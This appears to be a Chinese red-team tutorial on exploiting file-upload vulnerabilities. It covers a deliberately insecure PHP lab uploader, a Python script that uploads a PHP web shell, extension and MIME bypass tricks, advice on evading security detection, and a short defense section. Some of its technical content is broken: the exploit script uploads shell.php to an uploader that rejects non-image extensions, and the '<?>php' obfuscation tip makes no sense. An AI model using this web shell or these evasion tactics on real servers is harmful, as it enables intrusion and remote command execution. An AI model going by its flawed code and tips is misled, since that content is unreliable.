0x01 攻击板块

在现代Web应用程序中，文件上传功能几乎是必不可少的组成部分。无论是社交平台的头像设置，还是企业应用的文档提交，文件上传功能为用户提供了便捷的交互方式。然而，这一功能也为攻击者提供了潜在的攻击路径，特别是在处理不当的情况下，文件上传漏洞可能导致任意代码执行、服务器被控等严重后果。

1.1 文件上传漏洞的技术原理

文件上传漏洞通常出现在Web应用程序未能对上传的文件进行严格验证和处理的场景。其核心在于攻击者上传一个恶意文件，例如包含后门代码的脚本文件，并通过应用程序的漏洞将其执行。在不安全的文件上传设计中，攻击者可以利用以下手段：

  • 扩展名绕过：应用程序仅仅通过文件扩展名来判断文件类型，攻击者可以通过修改文件扩展名绕过检查。例如，将一个执行脚本 .php 文件改名为 .jpg。
  • MIME类型欺骗：有些应用程序依赖于客户端提供的MIME类型进行验证，攻击者可以通过修改请求头中的MIME类型来欺骗服务器。
  • 文件内容检测不严：应用程序没有对文件内容进行实际检测，而仅仅基于文件名或MIME类型进行判断。

1.2 文件上传的安全隐患

文件上传漏洞的风险包括但不限于：

  • 远程代码执行：通过上传恶意脚本，攻击者可以在服务器上执行任意命令。
  • 信息泄露：通过文件上传，攻击者可能获取或篡改服务器上的敏感信息。
  • 服务中断：上传超大文件或构造特殊文件导致服务器性能下降甚至宕机。

0x02 真实环境构建

在开始我们的攻击演示之前，需要构建一个包含文件上传漏洞的实验环境。选择一个开源CMS平台，或自行编写一个简单的文件上传功能，为实验室模拟攻击场景。

2.1 实验环境准备

  • Web 服务器：使用Nginx或Apache搭建一个简单的Web服务器。
  • PHP 环境：确保服务器支持PHP脚本的运行。
  • 漏洞应用：使用一个带有文件上传功能的简单PHP脚本，如下所示：

<pre><code class="language-php">&lt;?php if ($_SERVER[&#039;REQUEST_METHOD&#039;] == &#039;POST&#039; &amp;&amp; isset($_FILES[&#039;file&#039;])) { $uploadDir = &#039;uploads/&#039;; $uploadFile = $uploadDir . basename($_FILES[&#039;file&#039;][&#039;name&#039;]);

// 基于扩展名检测 - 不安全 $fileType = pathinfo($uploadFile, PATHINFO_EXTENSION); if ($fileType != &#039;jpg&#039; &amp;&amp; $fileType != &#039;png&#039;) { echo &quot;Only image files are allowed.&quot;; exit; }

if (move_uploaded_file($_FILES[&#039;file&#039;][&#039;tmp_name&#039;], $uploadFile)) { echo &quot;File is valid, and was successfully uploaded.\n&quot;; } else { echo &quot;Possible file upload attack!\n&quot;; } } ?&gt;</code></pre>

2.2 部署说明

  1. 将上述代码保存为 upload.php 并放置在Web服务器的根目录。
  2. 创建一个名为 uploads 的目录，并确保Web服务器对其有写入权限。
  3. 启动Web服务器并访问 upload.php，测试正常的文件上传功能。

0x03 流量捕获实战

在这里，我们将尝试利用这个漏洞上传恶意脚本并获取服务器的控制权。攻击者可以使用Wireshark或Burp Suite等工具捕获和分析上传请求。

3.1 检查上传请求

使用Burp Suite拦截并分析文件上传请求。正常上传图片文件请求可能如下所示：

<pre><code class="language-plaintext">POST /upload.php HTTP/1.1 Host: vulnerable-server.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxYz123456789 Content-Length: 1234

------WebKitFormBoundaryxYz123456789 Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;test.jpg&quot; Content-Type: image/jpeg

[文件内容] ------WebKitFormBoundaryxYz123456789--</code></pre>

3.2 构造恶意请求

黑客示意图

在分析出请求格式后，攻击者可以使用Python脚本构造并发送恶意请求：

<pre><code class="language-python">import requests

url = &#039;http://vulnerable-server.com/upload.php&#039; file = {&#039;file&#039;: (&#039;shell.php&#039;, &#039;&lt;?php echo shell_exec($_GET[&quot;cmd&quot;]); ?&gt;&#039;, &#039;application/x-php&#039;)}

response = requests.post(url, files=file)

if response.status_code == 200: print(&quot;Exploit successful, check uploads directory.&quot;) else: print(&quot;Exploit failed.&quot;)</code></pre>

以上脚本使用Python的 requests 库构造并发送一个包含PHP代码的文件，上传后即可通过访问 http://vulnerable-server.com/uploads/shell.php?cmd=whoami 执行命令。

0x04 Payload构造的艺术

黑客示意图

要让上传的恶意文件绕过服务器的检查，攻击者通常需要对Payload进行精心构造。以下是一些常用技巧。

4.1 扩展名混淆

  • 使用双重扩展名，如 shell.php.jpg。
  • 使用空字节 shell.php%00.jpg，在某些服务器配置下可能被截断。

4.2 MIME类型伪造

在构造请求时，将内容类型改变为合法的MIME类型，例如 image/jpeg。

4.3 内容混淆

通过混淆代码，避免简单的关键字检测。例如，将 <?php 替换为 <?>php 或使用Base64编码再解码执行。

0x05 绕过与免杀

在实际攻击中，攻击者不仅需要成功上传文件，还需要绕过安全设备的检测。以下是一些有效的对抗策略。

5.1 加壳与混淆

通过对文件进行加壳和代码混淆来逃避静态分析。工具如 obfuscator.io 可以帮助混淆JavaScript，类似的工具可用于PHP。

5.2 加密传输

使用TLS加密通信来避免流量分析和检测。

5.3 隐匿流量

使用合法流量掩盖攻击流量，例如在正常上传流量中嵌入小片段攻击代码。

0x06 检测与防御

为了防止文件上传漏洞被利用，开发人员和安全工程师需要采取以下措施。

黑客示意图

6.1 扩展名和MIME类型验证

不仅依赖扩展名，还要对文件内容进行检测。可以使用 fileinfo 扩展库识别文件的真实类型。

6.2 文件格式和内容扫描

实施严格的文件格式检查，确保上传的文件不包含恶意代码。使用杀毒软件或专业的文件扫描工具进行病毒扫描。

6.3 权限和隔离策略

将上传目录设置为不可执行，限制其权限。使用应用层隔离技术，如chroot或容器化，进一步减少风险。

0x07 实战经验之谈

在多年的红队工作中，文件上传漏洞一直是我们重点利用的目标之一。以下是个人的一些经验分享：

  • 环境切换：在攻击过程中，遇到检测困难时，尝试切换到低敏感度的环境进行测试。
  • 多次尝试：上传漏洞利用不成功时，迭代不同的文件和请求结构以摸清Web应用的检测机制。
  • 跨平台测试：在不同的操作系统和Web服务器组合下进行测试，因为配置的差异可能导致不同的行为。

黑客示意图

注意：本文所述技术仅供授权安全测试使用，请勿用于非法用途。